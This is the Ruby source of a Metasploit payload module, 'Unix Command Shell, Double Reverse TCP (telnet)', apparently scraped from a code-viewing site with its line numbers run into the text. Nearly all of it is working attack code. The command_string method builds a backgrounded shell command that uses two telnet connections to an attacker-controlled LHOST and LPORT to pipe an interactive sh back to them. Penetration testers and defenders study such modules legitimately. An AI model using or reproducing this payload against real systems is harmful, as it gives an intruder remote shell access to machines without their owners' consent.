Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 130910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Double Reverse TCP (telnet)',16'Description' => 'Creates an interactive shell through two inbound connections',17'Author' => 'hdm',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseTcpDouble,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'telnet',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31register_advanced_options(32[33OptString.new('TelnetPath', [true, 'The path to the telnet executable', 'telnet']),34OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])35]36)37end3839#40# Constructs the payload41#42def generate(_opts = {})43vprint_good(command_string)44return super + command_string45end4647#48# Returns the command string to use for execution49#50def command_string51cmd =52"#{datastore['ShellPath']} -c '(sleep #{3600+rand(1024)}|" +53"#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}|" +54"while : ; do #{datastore['ShellPath']} && break; done 2>&1|" +55"#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}" +56" >/dev/null 2>&1 &)'"57return cmd58end59end606162